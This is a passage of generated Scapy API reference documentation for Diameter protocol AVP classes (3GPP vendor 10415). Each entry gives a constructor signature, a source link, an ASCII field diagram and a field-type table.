+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_529                        


AVP_10415_529 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_533(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1676-L1679]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_533                        


AVP_10415_533 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_536(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1682-L1686]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_536                        


AVP_10415_536 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_614(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1689-L1712]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_614                        


AVP_10415_614 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_616(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1715-L1725]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_616                        


AVP_10415_616 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_623(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1728-L1733]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_623                        


AVP_10415_623 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_624(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1736-L1741]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_624                        


AVP_10415_624 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_630(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L819-L855]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_630                        


AVP_10415_630 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	FlagsField

	None















	
class scapy.contrib.diameter.AVP_10415_633(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1744-L1748]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_633                        


AVP_10415_633 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_638(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1751-L1754]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_638                        


AVP_10415_638 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_648(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1757-L1762]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_648                        


AVP_10415_648 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_650(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1765-L1770]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_650                        


AVP_10415_650 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_652(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1773-L1778]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_652                        


AVP_10415_652 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_701(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, avpVnd=0, val=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L858-L861]

	Bases: AVP_VL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_701                        


AVP_10415_701 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	avpVnd

	AVPVendor

	0



	val

	ISDN

	b''















	
class scapy.contrib.diameter.AVP_10415_703(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1781-L1822]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_703                        


AVP_10415_703 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_705(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1825-L1829]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_705                        


AVP_10415_705 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_706(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1832-L1836]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_706                        


AVP_10415_706 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_707(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1839-L1844]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_707                        


AVP_10415_707 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_708(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1847-L1860]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_708                        


AVP_10415_708 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_710(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1863-L1866]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_710                        


AVP_10415_710 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_712(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1869-L1873]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
